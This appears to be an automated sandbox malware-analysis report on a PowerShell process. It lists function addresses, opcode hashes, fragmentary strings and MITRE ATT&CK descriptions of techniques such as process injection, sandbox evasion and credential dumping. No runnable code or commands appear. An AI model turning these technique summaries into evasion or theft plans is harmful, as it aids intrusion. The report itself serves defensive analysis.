Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7abdc6b612d8572d970bb47383906f18c78fce7094a42d50484e71a97ff5445d
Instruction ID: ba97fdd90c280ee238347f72384fe5f6ccf4d734626040229d9d8e40242fd629
Opcode Fuzzy Hash: 7abdc6b612d8572d970bb47383906f18c78fce7094a42d50484e71a97ff5445d
Instruction Fuzzy Hash: 50315871641700DBD7088F66CCC4B667BA2FFC5704F24E4ACDA094F7AADBB898118B59

Function 0043C980 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: cf353df2c3ab8d88f503e0c9b68d393aedb60e03598bcf2bbd24434979dc33ae
Instruction ID: 6a35d2d87e4aae4f0ffca406702f0b101b751249b86d9033aea091713203b1c0
Opcode Fuzzy Hash: cf353df2c3ab8d88f503e0c9b68d393aedb60e03598bcf2bbd24434979dc33ae
Instruction Fuzzy Hash: FD11577554430C5FD310EB44DDC0BBBB7A9EBC9358F146529EA8463320E26ADC14CBAA

Function 004274E8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8dead7eb2ead17544e34a8f87b96678dac24aaf6b15151238b1ad58eb2bfaf8d
Instruction ID: 8328a4fd559888b7b958e563d327d7a9a06376b0f8b4d1b281856f2da2332d6b
Opcode Fuzzy Hash: 8dead7eb2ead17544e34a8f87b96678dac24aaf6b15151238b1ad58eb2bfaf8d
Instruction Fuzzy Hash: 1521A4B3A106168BCB28CF68C8825AAFBF1FF55304B06966ED159EB251D734D540CBC4

Function 00436150 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 3a8f224c42db33ccfd6a6536d18db3a2d449ce8cb45d11d481393aba99f8db63
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 4A112933A051E50EC7168D3C8800575BFE31AA7235F5AD39AF4B49B2D3D6268D8A8359

Function 0042A320 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4f55a6098864843e4aae71f94eaa1b8b2efe39e1191d1016ba72d3fec01fef8
Instruction ID: c009b0363cfebcf920b853a2b4862277f6b56106570e942fe5aabf265f0346b4
Opcode Fuzzy Hash: a4f55a6098864843e4aae71f94eaa1b8b2efe39e1191d1016ba72d3fec01fef8
Instruction Fuzzy Hash: 10019EF1B0031247E720EE15A4C172BB2A8AB85708F48407EED0957342DB7DFC25829B

Function 0042D941 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 665f1f29d20b56f61b6ab61339006f172dbc702929565a342989df19a4520635
Instruction ID: 2143e196f315bc6a73925a438d52321d3c177c6d5770fa6161a45ec7c9397c98
Opcode Fuzzy Hash: 665f1f29d20b56f61b6ab61339006f172dbc702929565a342989df19a4520635
Instruction Fuzzy Hash: 5911C474A08252CBC328CF28D4A1A76F7F1FF57301B6899ADC0D78B352DA369845CB49

Function 0042D7B7 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa69774c42029fbac4530b05fab19ce10486e84947affefab3dc5717def380b1
Instruction ID: 4829c4bb1fb9a8875be2cc6a8859e035210cf9a52295b2f6c689fe71b3393f92
Opcode Fuzzy Hash: fa69774c42029fbac4530b05fab19ce10486e84947affefab3dc5717def380b1
Instruction Fuzzy Hash: 6D014939A081118BCB288E30D48167277F3EFA7301B69516EC4C2A7745EB3CE402860D

Function 00402BA0 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b17d6aba164ef337a7a954c350607a12b740078940e4763aee2d1980453be1eb
Instruction ID: c926d9195837af6d2d1fe2d564c176221c2e5db40c068993f01037b5df013389
Opcode Fuzzy Hash: b17d6aba164ef337a7a954c350607a12b740078940e4763aee2d1980453be1eb
Instruction Fuzzy Hash: 83F0597B71221507E710CD2AADC452BB766EBC6324B1A413AE841E7280C8B8F806E268

Function 0042C097 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5f598ddf24c88ad89c7c45594c75e1d5ada9c623ee80a9beea1eac979a575e47
Instruction ID: 7cde1d795a2325f791a2591a45a126e857c19a369b5f8500d9a8cad991568fbd
Opcode Fuzzy Hash: 5f598ddf24c88ad89c7c45594c75e1d5ada9c623ee80a9beea1eac979a575e47
Instruction Fuzzy Hash: 8401A9796457068FE315CF14D850BA6B7F2AF86308F4A947E8082C7392EA79A459C709

Function 00432165 Relevance: 35.2, APIs: 1, Strings: 19, Instructions: 151memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00432236

Strings

I2, xrefs: 004322EF
0, xrefs: 0043240C
U2, xrefs: 0043233F
S2, xrefs: 00432303
F2, xrefs: 00432349
<2, xrefs: 00432317
&2, xrefs: 004322BD
rBW, xrefs: 0043219C
92, xrefs: 004322E5
S2, xrefs: 00432321
Y2, xrefs: 004322D1
P2, xrefs: 0043230D
J2, xrefs: 00432353
K2, xrefs: 004322DB
G2, xrefs: 00432335
Y2, xrefs: 0043232B
_2, xrefs: 004322F9
V2, xrefs: 004322C7
1, xrefs: 0043227D

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: AllocString
String ID: &2$0$92$<2$F2$G2$I2$J2$K2$P2$S2$S2$U2$V2$Y2$Y2$_2$rBW$1
API String ID: 2525500382-1704840789
Opcode ID: 6ceb89d6d5e4c09f3b9326815a3f473e67c1d16999f192d9aa92e0c138436fed
Instruction ID: b48d8866ef7672cf2c0e1fe15cec0ebcc93c84dfb12a9cd0e8d39250c797a1d1
Opcode Fuzzy Hash: 6ceb89d6d5e4c09f3b9326815a3f473e67c1d16999f192d9aa92e0c138436fed
Instruction Fuzzy Hash: 9F61C532A2D7508AD368CF78CA0139BB6E1BFC5300F15A96DD4D99B364EB748901C74B

Function 00432449 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 75COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 00432453
VariantInit.OLEAUT32 ref: 00432466

Strings

f0, xrefs: 004324A2
u0, xrefs: 004324C0
Q0, xrefs: 004324CA
e0, xrefs: 004324DE
~0, xrefs: 00432498
s0, xrefs: 004324D4
z0, xrefs: 0043248E
v0, xrefs: 004324AC
g0, xrefs: 004324B6
q0, xrefs: 004324E8

Memory Dump Source

Source File: 00000008.00000002.2995280814.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_powershell.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Q0$e0$f0$g0$q0$s0$u0$v0$z0$~0
API String ID: 2610073882-1706572778
Opcode ID: 6c4633c437742d5ea02f2b05637dc49c13de568e3c4b056a3204ae06464dd71b
Instruction ID: 6a188afcc4417f1c0665edfbb67c2855a393ec20af716859af6148eab1d08b1b
Opcode Fuzzy Hash: 6c4633c437742d5ea02f2b05637dc49c13de568e3c4b056a3204ae06464dd71b
Instruction Fuzzy Hash: B331037951C3808BD328DF25C0957EBB7E1AF98700F00882DD5C98B3A1EBB54688CB47

Analysis Process: powershell.exePID: 6388, Parent PID: 3836COMMON

Executed Functions

Function 07A51AF8 Relevance: 5.6, Strings: 4, Instructions: 582COMMON

Download Yara Rule

Strings

4'sq, xrefs: 07A51E40
4'sq, xrefs: 07A51F90
4'sq, xrefs: 07A51F9A
4'sq, xrefs: 07A51E36

Memory Dump Source

Source File: 00000009.00000002.3139939950.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$4'sq$4'sq
API String ID: 0-1617174353
Opcode ID: 33b86dec3237f9335284e389554b7054c1e282b4d9aa20fe9b09cd8103eaa1ee
Instruction ID: 90f86fb9e575f5717099d06f521f04888b11c5479cd3ee89d4f4d3747cccabc1
Opcode Fuzzy Hash: 33b86dec3237f9335284e389554b7054c1e282b4d9aa20fe9b09cd8103eaa1ee
Instruction Fuzzy Hash: F91237F1B042199FCB159B68C81077BBBA6AFD2310F14806ADE25CF285DB36CD46C7A1

Function 04F129F0 Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3038670067.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 599ab3f884dc544b12580a5155257379c597cb4c41544cea9cd82157adc5237f
Instruction ID: 92c598fef9e7f9ee53862e426d647c258a93696d93816f12f7c89c7b40e84c16
Opcode Fuzzy Hash: 599ab3f884dc544b12580a5155257379c597cb4c41544cea9cd82157adc5237f
Instruction Fuzzy Hash: B9918C74A002458FCB15CF99C4949AEFBB2FF88310B258699D915AB365C735FC52CFA0

Function 07A51AD8 Relevance: .1, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3139939950.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8986c7a1708d3c6f5fe6c2011cae3d7c43a116dc80414b94247e7f1302572f00
Instruction ID: 8a4edc03924e0b61578c0779a4d6a7cd550747eac5838595f4d26f70e358cbe4
Opcode Fuzzy Hash: 8986c7a1708d3c6f5fe6c2011cae3d7c43a116dc80414b94247e7f1302572f00
Instruction Fuzzy Hash: C641F8F4B0021A9FCB218F28C95077ABBB2AFC1344F1580A9DD20DF256E736D946CB95

Function 04F12B00 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3038670067.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8adf61c8447b8eb8848a3596f3e9af1020a491a346aab1fb9c471474350b248
Instruction ID: 8ea08457572bc23c53a342d38c47415c5ef0321dedecd91314c12a5b3c385d9a
Opcode Fuzzy Hash: d8adf61c8447b8eb8848a3596f3e9af1020a491a346aab1fb9c471474350b248
Instruction Fuzzy Hash: 914129B4A005459FCB09CF99C4989AEFBB1FF48310B168599D915AB364C732FC52CFA0

Function 04F14C10 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3038670067.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e80e800c03104cdf6205ce69582ee215cf07af3add3f87c3b45c65bb421507c
Instruction ID: 208b6c199a5bb9606e6bd9d41869df1b2ef7c55c05e45d20404ba5e6227f9a56
Opcode Fuzzy Hash: 0e80e800c03104cdf6205ce69582ee215cf07af3add3f87c3b45c65bb421507c
Instruction Fuzzy Hash: 092149B4A042499FCB01CF98C4809AABBB0FF89300B148596E905EB352C735EC46CBA1

Function 04F14C00 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3038670067.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f85322bcee28256583b84a243f6e2a7ce966b2377b6c3a28d596fb54a3ea4f8
Instruction ID: a10f590752c9fb5e737eff052a079fdf076a3ebbc224375e88c918a4d32f32ea
Opcode Fuzzy Hash: 2f85322bcee28256583b84a243f6e2a7ce966b2377b6c3a28d596fb54a3ea4f8
Instruction Fuzzy Hash: CF212C74A042499FCB01CF98D4809AEFBB1FF89310B158599E909EB352D731FD42CBA0

Function 04A3D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3036952584.0000000004A3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 095c5dec31bc078985b081776686144ae2a3824289019404aa1f0c6adf87ff5f
Instruction ID: c21525d2dd3d17976c7b0e07925b00b7e6707c669fdc1fe57c4e209208526795
Opcode Fuzzy Hash: 095c5dec31bc078985b081776686144ae2a3824289019404aa1f0c6adf87ff5f
Instruction Fuzzy Hash: 60012B71509300DAF7104F25ECC4B67BFA8DF42725F18C41AFD4A5B142E678A941CBB1

Function 04A3D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3036952584.0000000004A3D000.00000040.00000800.00020000.00000000.sdmp, Offset: 04A3D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4a3d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e222574cb3b3ec0ac5859b0160999caf01a4893db5cda0b10cf4ccd540cb09a
Instruction ID: 1425ce2fcbc084fb4ef2aff6b06d4cf6e19cc6151c9d25b592e50a171106bc26
Opcode Fuzzy Hash: 5e222574cb3b3ec0ac5859b0160999caf01a4893db5cda0b10cf4ccd540cb09a
Instruction Fuzzy Hash: EB019E6240E3C09EE7128B259894B52BFB4DF43225F1880CBE9888F1A3C2689849C772

Function 04F12C90 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.3038670067.0000000004F10000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F10000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_4f10000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b4e446658c7df41c3413354a7c8971056b9070f3a14926b7dd602d51bac7294
Instruction ID: 26135dc76d25fb6fd0baca28f85d01cd70f66dc6a8652f30e17ce486f6078174
Opcode Fuzzy Hash: 2b4e446658c7df41c3413354a7c8971056b9070f3a14926b7dd602d51bac7294
Instruction Fuzzy Hash: 1CE04F356002559FDB04DF9CD8A04E8B760EF85334B2086DAD465971A2CA369916C756

Non-executed Functions

Function 07A51158 Relevance: 9.2, Strings: 7, Instructions: 484COMMON

Download Yara Rule

Strings

tPsq, xrefs: 07A511E1
$sq, xrefs: 07A5119C
tPsq, xrefs: 07A511D5
4'sq, xrefs: 07A513C9
$sq, xrefs: 07A51190
$sq, xrefs: 07A5116A
4'sq, xrefs: 07A513BF

Memory Dump Source

Source File: 00000009.00000002.3139939950.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$tPsq$tPsq$$sq$$sq$$sq
API String ID: 0-2404318043
Opcode ID: ce7a3b77ee1b94e874b356820397323281c8f4ec5d737a8e121227ca5ab71eb9
Instruction ID: b181b14334c81cd5904ae86c8b1282c3b303e7abf0a570cd0a343067cb773484
Opcode Fuzzy Hash: ce7a3b77ee1b94e874b356820397323281c8f4ec5d737a8e121227ca5ab71eb9
Instruction Fuzzy Hash: 0DF116B1B042198FDB148BA8C41077ABBF6AFD5321F14807AD925CF641DB35D946CBA2

Function 07A50390 Relevance: 9.1, Strings: 7, Instructions: 319COMMON

Download Yara Rule

Strings

$sq, xrefs: 07A505A4
$sq, xrefs: 07A50598
tPsq, xrefs: 07A505DD
4'sq, xrefs: 07A50493
tPsq, xrefs: 07A505E9
$sq, xrefs: 07A50572
4'sq, xrefs: 07A5049F

Memory Dump Source

Source File: 00000009.00000002.3139939950.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$tPsq$tPsq$$sq$$sq$$sq
API String ID: 0-2404318043
Opcode ID: 9079b76d475bc9f7e915cad643b35aaf488bff0bca4c758b0921fa0691981577
Instruction ID: 8b7b050aa0241e92093f926c02c572650e6596bf79e7c68c771eed70c491bb50
Opcode Fuzzy Hash: 9079b76d475bc9f7e915cad643b35aaf488bff0bca4c758b0921fa0691981577
Instruction Fuzzy Hash: 60A138B27083568FCB258B78941066BBBF5AFD2320F18807BD955CB692DB75CC41C7A2

Function 07A53108 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$sq, xrefs: 07A53136
$sq, xrefs: 07A5311A
$sq, xrefs: 07A53164
$sq, xrefs: 07A53170

Memory Dump Source

Source File: 00000009.00000002.3139939950.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: $sq$$sq$$sq$$sq
API String ID: 0-2855845837
Opcode ID: c491fc1a6663544d8ed4448c30a45df3a27618ab9c4ea2b767423c7934d18fd6
Instruction ID: 07f0a34debac7c40456bd38c8af4cb0ea684bb850218be2b5d3e6da6565e467e
Opcode Fuzzy Hash: c491fc1a6663544d8ed4448c30a45df3a27618ab9c4ea2b767423c7934d18fd6
Instruction Fuzzy Hash: FB216BB17043056BDF34567E9C4073BBBA66BC5798F648036ED15CB282DE36C8418361

Function 07A500D0 Relevance: 5.0, Strings: 4, Instructions: 48COMMON

Download Yara Rule

Strings

4'sq, xrefs: 07A5013C
4'sq, xrefs: 07A50148
$sq, xrefs: 07A50126
$sq, xrefs: 07A5011A

Memory Dump Source

Source File: 00000009.00000002.3139939950.0000000007A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_7a50000_powershell.jbxd

Similarity

API ID:
String ID: 4'sq$4'sq$$sq$$sq
API String ID: 0-148891389
Opcode ID: 321788d3c75eae421df2c1d11c386e9a6948e991f50335ddb20fe999b885d3cb
Instruction ID: bfde5a2fa8be711d0709d9eda96677dac20acbafd73402c0bf7141739df168d1
Opcode Fuzzy Hash: 321788d3c75eae421df2c1d11c386e9a6948e991f50335ddb20fe999b885d3cb
Instruction Fuzzy Hash: 2A017CB170D3D58FC727537818201676FB26FC361075A0097E591CF297DA798E0A83A3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

